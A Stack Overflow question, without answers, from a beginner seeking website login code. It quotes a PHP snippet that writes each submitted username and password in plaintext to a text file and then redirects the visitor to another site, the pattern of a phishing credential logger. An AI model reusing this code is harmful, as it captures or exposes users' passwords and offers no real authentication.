1

I am trying to make a simple html website where you can login and save data to your account.

I have tried using MySQL and following this tutorial but it returns that MySQL is deprecated.

I have also found some code on stack overflow using php but I don’t know how to extract data and add data from that file with JavaScript.

<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>
<html>
 <head>
  <title>Login</title>
 </head>
 <body>

<?php

//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){

$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);

} ?>


//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
     
 </body>
</html>
Buble Dart
  • 31
  • 8

0 Answers0